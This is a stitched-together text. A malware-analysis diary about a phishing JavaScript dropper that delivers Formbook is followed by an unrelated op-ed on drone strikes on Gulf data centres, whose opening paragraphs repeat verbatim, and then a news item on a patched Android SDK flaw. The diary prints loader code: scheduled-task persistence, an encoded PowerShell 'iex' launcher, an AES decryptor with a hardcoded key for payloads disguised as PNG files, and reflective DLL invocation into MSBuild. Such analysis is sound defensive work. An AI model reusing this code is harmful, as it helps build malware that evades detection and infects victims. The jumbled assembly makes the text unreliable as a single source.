Author: anonymousmedia_tal70o

I spotted an interesting piece of JavaScript code that was delivered via a phishing email in a RAR archive. The file was called “cbmjlzan.JS” (SHA256:a8ba9ba93b4509a86e3d7dd40fd0652c2743e32277760c5f7942b788b74c5285) and is only identified as malicious by 15 AV’s on VirusTotal[1].

The file is pretty big (10MB) and contains a copy of the AsmDB project lib[2]. The purpose is unknown.

As usual with JavaScript, the file is pretty well obfuscated and contains UTF characters (supported on Windows) but, when you scrool a bit, some code is disclosed:

The script is a Windows-flavor JavaScript and uses ActiveXObject, Microsoft.XMLDOM, ADODB.Stream. It copies itself and implements persistence (through a scheduled task):

function FDAWE(x) {
  return x.split('').reverse().join('');
}
var scriptName = WScript['ScriptName'];
var urlName = ThreeChars(scriptName) + '.url';
var publicUrl = 'C:\\Users\\Public\\' + urlName;
var copiedScript = 'C:\\Users\\Public\\Libraries\\' + scriptName;
var fso = new ActiveXObject('Scripting.FileSystemObject');
if (!fso.FileExists(copiedScript)) {
  if (LOUU...ONIA.split('').join('') === 'YESSSSSSSS') {
    fso.CopyFile(scriptName, copiedScript);
    var shell = new ActiveXObject('WScript.Shell');
    var cmd = 'cmd /c schtasks /create /sc minute /mo 15 /tn ' + scriptName + ' /tr ' + copiedScript;
    shell.Run(cmd);
  }
}

Three files are dropped in C:\Users\Public:

• Brio.png
• Orio.png
• Xrio.png

These aren’t pictures, they are used by the PowerShell script executed after implementing persistence:

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Noexit -nop -c iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String((‘<__removed__>'.Replace('VFHDVXDJCF','')))))

The PowerShell is even documented and has multiple purposes.

First, the file Xrio.png is processed. It contains AES encrypted data:

$inputBase64FilePath = "C:\Users\PUBLIC\Xrio.png"
$aes_var = [System.Security.Cryptography.Aes]::Create()
$aes_var.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes_var.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aes_var.Key = [System.Convert]::FromBase64String('XctflJI8B7Qo2dA6FbwuHYAjjzjViSx3hThThXX1QUY=')
$aes_var.IV = [System.Convert]::FromBase64String('eb8a/RvZf2ltVDo2satMKg==')
$base64String = [System.IO.File]::ReadAllText($inputBase64FilePath)
$encryptedBytes = [System.Convert]::FromBase64String($base64String)
$memoryStream = [System.IO.MemoryStream]::new()
$memoryStream.Write($encryptedBytes, 0, $encryptedBytes.Length)
$memoryStream.Position = 0  # Reset the position for reading
$decryptor = $aes_var.CreateDecryptor()
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Read)
$streamReader = New-Object System.IO.StreamReader($cryptoStream)
$decryptedString = $streamReader.ReadToEnd()
$cryptoStream.Close()
$memoryStream.Close()
$streamReader.Close()
$commands = $decryptedString -split "`n"
foreach ($encodedCommand in $commands) {
   ...
}

The decrypted code will apply evasion techniques based on patching EtwEventWrite() and AmsiScanBuffer(). This is classic in many malware[3].

Then, the PowerShell script will decrypt the blob in Orio.png using the same technique. This time a PE file will be extracted (SHA256:53c3e0f8627917e8972a627b9e68adf9c21966428a85cb1c28f47cb21db3c12b)[4]. It’s a .Net DLL.

The DLL is injected in a MSBuild.exe process:

$Allohaarnppp11111111=@('file:///C:/Users/Public/Brio.png','0','','','MSBuild','','MSBuild','','','','','','7','0','','0','','','');
try{
    $Allohaarnppp111111111=$Allohaarnppp1111111111.GetType('Fiber.Program');
    $Allohaarnppp1111111=$Allohaarnppp111111111.GetMethod('Main');
    $Allohaarnppp1111111.Invoke($nUll,[object[]]$Allohaarnppp11111111)}
Catch {
}

This DLL will used the file Brio.png and extract the real malware[5]. It’s another sample of Formbook.

[1] https://www.virustotal.com/gui/file/a8ba9ba93b4509a86e3d7dd40fd0652c2743e32277760c5f7942b788b74c5285/gti-summary

[2] https://github.com/MahdiSafsafi/asmdb

[3] https://isc.sans.edu/diary/Live+Patching+DLLs+with+Python/31218

[4] https://www.virustotal.com/gui/file/53c3e0f8627917e8972a627b9e68adf9c21966428a85cb1c28f47cb21db3c12b/gti-summary

[5] https://www.virustotal.com/gui/file/fdcfbb67d7e996e606963ac96a4a1b14e7070e1e88d210b2f567e3d40541b7b7/gti-summary

Xavier Mertens (@xme)

Xameco

Senior ISC Handler – Freelance Cyber Security Consultant

PGP Key

On March 1, Iranian drones struck two Amazon Web Services data centers in the United Arab Emirates, and a third was damaged in Bahrain. Banking apps went dark. Payment platforms froze. For weeks, cloud services across the Gulf remained partially offline.

The technology industry has long spoken of “the cloud” as though it were weightless, distributed, resilient, borderless. The Iran war corrected that metaphor with fire. The cloud has an address. That address can be hit by a drone that costs less than a used car.

On March 1, Iranian drones struck two Amazon Web Services data centers in the United Arab Emirates, and a third was damaged in Bahrain. Banking apps went dark. Payment platforms froze. For weeks, cloud services across the Gulf remained partially offline.

The technology industry has long spoken of “the cloud” as though it were weightless, distributed, resilient, borderless. The Iran war corrected that metaphor with fire. The cloud has an address. That address can be hit by a drone that costs less than a used car.

Until now, the events of the Iran war have largely been framed in familiar terms, focused on the closure of the Strait of Hormuz, disruptions to energy flows, the U.S.-Israeli air campaign, and Iran’s missile strikes across the region. Yet this framing misses a deeper and more consequential layer of the conflict: the battle over the region’s data centers and digital infrastructure.

What unfolded in the Gulf was not simply a regional conflict with collateral damage to the digital economy. It was the revelation of a strategic miscalculation that long preceded the war—the assumption that the world’s most contested corridor was a suitable place to build the backbone of the artificial intelligence era. The belief that capital could substitute for threat analysis wasn’t a misreading just of technology but of the fundamental realities of geography.

---

When U.S. President Donald Trump concluded his Middle East tour in May 2025, the scale of ambition was unprecedented: more than $2 trillion in investment pledges from Saudi Arabia, Qatar, and the UAE, with a substantial share directed toward AI infrastructure. The Stargate UAE project, linking OpenAI, Nvidia, Abu Dhabi’s G42, and other tech giants, was envisioned as the largest AI campus outside the United States. Amazon committed more than $5 billion to Riyadh. Microsoft pledged $15 billion to the UAE. The Gulf, it was declared, would become the third pillar of global AI infrastructure alongside the United States and China.

The logic had a certain coherence. Gulf states’ sovereign wealth funds offered patient capital at scale, supported by abundant energy, strategic positioning as a gateway to the global south, and governments eager to integrate into the U.S. AI ecosystem. But what appeared as economic logic was, in reality, a geopolitical bet that capital, alliances, and U.S. security guarantees could compensate for structural exposure to geopolitical risk.

The Pax Silica initiative reinforced this alignment, pulling the UAE and Qatar into a U.S.-led technological bloc designed to restrict China’s access to advanced semiconductors. Humain, the Saudi AI vehicle, pledged not to purchase Chinese equipment, following G42’s earlier cutting of ties with Huawei. The Gulf’s AI buildout was no longer simply commercial infrastructure. It had become part of the front line in the U.S.-China competition over technological supremacy. That is precisely what made it a target.

In April 2025, former Google CEO Eric Schmidt articulated, with unusual bluntness, the emerging logic of AI conflict: If a rival cannot close the technological gap through espionage or sabotage, the alternative becomes preemption: “bomb your data center.” These were not abstract scenarios, he warned, but conversations already occurring among nuclear-armed states. Schmidt was describing a future conflict between the United States and China, one that was expected within a decade.

Surprisingly, the Iran war revealed something more unsettling. A sanctioned regional power, operating with asymmetric capabilities of drones and missiles rather than hyperscale compute, demonstrated that the logic of AI infrastructure denial could be executed at a fraction of the expected cost.

There is a further dimension that much Western commentary has yet to fully grasp. Evidence suggests that Iran did not act alone in achieving targeting precision. It reportedly had access to China’s BeiDou satellite system, whose encrypted signals offer targeting accuracy beyond the reach of U.S. GPS jamming. Chinese satellite companies simultaneously published high-resolution imagery of U.S. military deployments across the region, providing Iran what analysts described as “free targeting data.” Beijing did not fire a missile; instead, it provided coordinates.

What appears as a regional war is, at a deeper level, an indirect contest over AI infrastructure dominance. China does not need to strike U.S.-aligned data centers directly if a partner like Iran can do so at lower cost and lower attribution risk. In the Gulf, this logic was not theoretical; rather, it was operationalized.

The region’s AI buildout became exposed through a structural trap created by data localization mandates. The Arab states required sensitive data to be physically hosted within national coastal zone, leaving hyperscalers with no geographic flexibility. Access to capital, energy, and markets required local presence. But regulatory logic collided with geopolitical reality. The Gulf is not simply a platform for connectivity. It is one of the most persistently contested strategic spaces in modern history. What capital interpreted as a growth corridor, geography had already defined as a battlefield. And even the most sophisticated Emirati air defense systems proved unable to guarantee the protection of large, fixed, energy-dependent data campuses.

The unintended consequence of the Gulf strikes is already reshaping where the next generation of AI infrastructure gets built. For years, space-based data centers existed on the margins of serious planning, held back by economics that could not justify the cost. The Iran war has changed that calculus by attacking both foundations of terrestrial AI infrastructure at once. Iran’s relentless strikes demonstrated that a data campus worth billions of dollars can be disabled by a drone costing a few thousand. Simultaneously, the closure of the Strait of Hormuz, through which roughly 20 percent of the world’s seaborne oil and a significant share of its liquefied natural gas pass, has exposed how fragile the energy supply feeding these facilities truly is.

These two pressures together—kinetic vulnerability aboveground and energy insecurity below it—make the case for orbital infrastructure not as a futurist ambition but as a strategic necessity. SpaceX has filed confidentially for an initial public offering in the coming months at a reported $1.75 trillion valuation, after absorbing xAI and hiring AI infrastructure architects at pace. NASA’s Artemis II mission, which launched on April 1 carrying humans beyond low-Earth orbit for the first time since 1972, adds an unmistakable signal: The second space race, like the first, begins when something on the ground becomes too costly to defend. Great powers have never waited for the economics to clear before deciding what they cannot afford to lose. The Iran war has settled the argument about whether the security case for space-based compute exists.

The Gulf states may not be finished as AI infrastructure hubs. The capital, the energy, the sovereign mandates, and the geopolitical alignment with Washington may continue to attract investment. But the Iranian drone and missile strikes have permanently altered the risk calculus. War insurance for a $100 million data center facility in the Middle East has risen 1,900 percent since February. Constellation Energy’s CEO put it plainly at an industry summit in March: “Who’s going to insure a $20 billion facility in the Middle East that can be taken out by a $5,000 drone?” The constraint is no longer capital but survivability.

---

The pattern is durable. In a war, states have always targeted the infrastructure that gives their adversary a decisive edge. This is not new, from the cutting of telegraph cables in World War I to the bombing of industrial production in World War II to the targeting of oil facilities and pipelines in the late 20th century and more recently to cyberattacks on financial systems and energy grids. What has changed in 2026 is that the infrastructure layer in question is AI compute, and the lesson of the Iran war is that it is no more immune to this logic than anything that came before it.

The Gulf AI buildout assumed that this logic no longer applied. The belief that massive sovereign wealth investments, reinforced by bilateral tech partnerships and U.S. security guarantees, could override geography has proved false. The Iran war has shown again that technology alone cannot tame geopolitics, since infrastructure follows geography and geography follows history. And in the Gulf, history has always been clear about the risks.

The next phase of the AI infrastructure race will unfold on two fronts: on Earth, where the question is which locations can credibly protect critical assets, and in space, where the question is whether those assets can be removed from risk altogether. Neither front has a clear answer yet. But the Iran war has made certain that both questions will now be answered urgently, by every power that understands what is at stake.

Ravie LakshmananApr 09, 2026Vulnerability / Mobile Security

Details have emerged about a now-patched security vulnerability in a widely used third-party Android software development kit (SDK) called EngageLab SDK that could have put millions of cryptocurrency wallet users at risk.

“This flaw allows apps on the same device to bypass Android security sandbox and gain unauthorized access to private data,” the Microsoft Defender Security Research Team said in a report published today.

EngageLab SDK offers a push notification service, which, according to its website, is designed to deliver “timely notifications” based on user behavior already tracked by developers. Once integrated into an app, the SDK offers a way to send personalized notifications and drive real-time engagement.

The tech giant said a significant number of apps using the SDK are part of the cryptocurrency and digital wallet ecosystem, and that the affected wallet apps accounted for more than 30 million installations. When non‑wallet apps built on the same SDK are included, the installation count surpasses 50 million.

Microsoft did not reveal the names of the apps, but noted that all those detected apps using vulnerable versions of the SDK have been removed from the Google Play Store. Following responsible disclosure in April 2025, EngageLab released version 5.2.1 in November 2025 to address the vulnerability.

The issue, identified in version 4.5.4, has been described as an intent redirection vulnerability. Intents in Android refer to messaging objects that are used to request an action from another app component.

Intent redirection occurs when the contents of an intent that a vulnerable app sends are manipulated by taking advantage of its trusted context (i.e., permissions) to gain unauthorized access to protected components, expose sensitive data, or escalate privileges within the Android environment.

An attacker could exploit this vulnerability by means of a malicious app installed on the device through some other means to access internal directories associated with an app that has the SDK integrated, resulting in unauthorized access to sensitive data.

There is no evidence that the vulnerability was ever exploited in a malicious context. That said, developers who integrate the SDK are recommended to update to the latest version as soon as possible, especially given that even trivial flaws in upstream libraries can have cascading impacts and impact millions of devices.

“This case shows how weaknesses in third‑party SDKs can have large‑scale security implications, especially in high‑value sectors like digital asset management,” Microsoft said. “Apps increasingly rely on third‑party SDKs, creating large and often opaque supply‑chain dependencies. These risks increase when integrations expose exported components or rely on trust assumptions that aren’t validated across app boundaries.”